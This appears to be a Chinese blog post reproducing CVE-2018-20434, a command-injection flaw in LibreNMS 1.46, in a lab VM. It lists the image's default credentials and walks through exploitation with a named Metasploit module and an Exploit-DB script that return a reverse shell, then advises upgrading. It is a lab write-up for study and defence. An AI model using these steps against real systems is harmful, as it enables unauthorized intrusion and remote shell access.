前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2018-20434 LibreNMS 1.46 - 'addhost' RCE漏洞复现

CVE-2018-20434 LibreNMS 1.46 - 'addhost' RCE漏洞复现

作者头像
墙角睡大觉
发布2019-10-08 16:55:29
2K0
发布2019-10-08 16:55:29
举报

0X1 漏洞概述

LibreNMS是一款基于PHP/MySQL/SNMP的自动发现的网络监控系统,其中包括对广泛的网络硬件和操作系统的支持,包括Cisco,Linux,FreeBSD,Juniper,Brocade,Foundry,HP等。

最近在复现其最新的漏洞的时候,顺带着复现其中之前的一个漏洞编号为CVE-2018-20434的漏洞。

漏洞触发在LibreNMS 1.46及之前版本中的capture.inc.php文件,文件所在位置:

代码语言:javascript
复制
/opt/librenms/html/includes/output/capture.inc.php

通过在添加新设备时在public community参数中添加任意命令来触发利用,该命令会将未处理的请求发送到"addhost.inc.php"文件,因此,对注入的请求执行的任何系统执行都将导致远程执行代码。调用"capture.inc.php"将通过"popen"方法授予我们该行为,但是您可以通过请求以[file_name] .inc.php为参数的"ajax_output.php"来访问它。

漏洞分析具体详情可以参考如下翻译文章和原文

代码语言:javascript
复制
https://www.anquanke.com/post/id/16929
https://shells.systems/librenms-v1-46-remote-code-execution-cve-2018-20434/

0X2 环境搭建

漏洞虚拟机环境下载地址

代码语言:javascript
复制
https://github.com/librenms/packer-builds/releases/tag/1.46
或者
链接:https://pan.baidu.com/s/1bKMZuMa7crCf81wz2uSsAA  提取码:vvtr

下载librenms-ubuntu-18.04-amd64.ova文件

下载完成之后,使用虚拟机软件打开即可。由于是第一次打开,一直没有获取到IP地址,经过分析发现是网口名称和配置文件中的网口名称不一致,所以需要修改一下网络配置文件,两个名称保持一致即可。

然后重启一下系统即可获取到IP地址。

使用浏览器访问80端口即可到登录页面

代码语言:javascript
复制
http://192.168.0.107/login

官网的虚拟机默认口令信息如下

代码语言:javascript
复制
SSH
用户名:librenms
密码:CDne3fwdfds

MySQL/MariaDB
用户名:librenms
密码:D42nf23rewD

WebUI
用户名:librenms
密码:D32fwefwef

使用WebUI账户登录即可

即可看到我们当前的系统环境信息。

0X3 漏洞利用

方法1:

漏洞利用脚本已经在metasploit中集成,可以使用如下脚本进行攻击

代码语言:javascript
复制
use exploit/linux/http/librenms_addhost_cmd_inject

设置参数

代码语言:javascript
复制
set rhosts 192.168.0.107
set username librenms
set password D32fwefwef
set lhost 192.168.0.105

然后输入run命令利用

即可成功拿到shell。

但是这样的方式需要账户信息,条件比较苛刻。

方法2:

下载漏洞利用的py脚本

代码语言:javascript
复制
https://www.exploit-db.com/exploits/47044

利用过程参数需要cookie,浏览器抓包得到cookie信息

代码语言:javascript
复制
http://ip/devices/device=2/tab=capture/

然后作为参数带入:

kali中监听得到反弹的shell

即可利用成功!

0X4 漏洞修复

升级到最新的1.55版本即可

0X5 参考链接

代码语言:javascript
复制
https://docs.librenms.org/Installation/Images/
https://github.com/librenms/packer-builds/releases/tag/1.46
https://github.com/rapid7/metasploit-framework/blob/9edf92434cabbce83414204c30acdc8d6cda675f/documentation/modules/exploit/linux/http/librenms_addhost_cmd_inject.md
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全漏洞环境学习 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档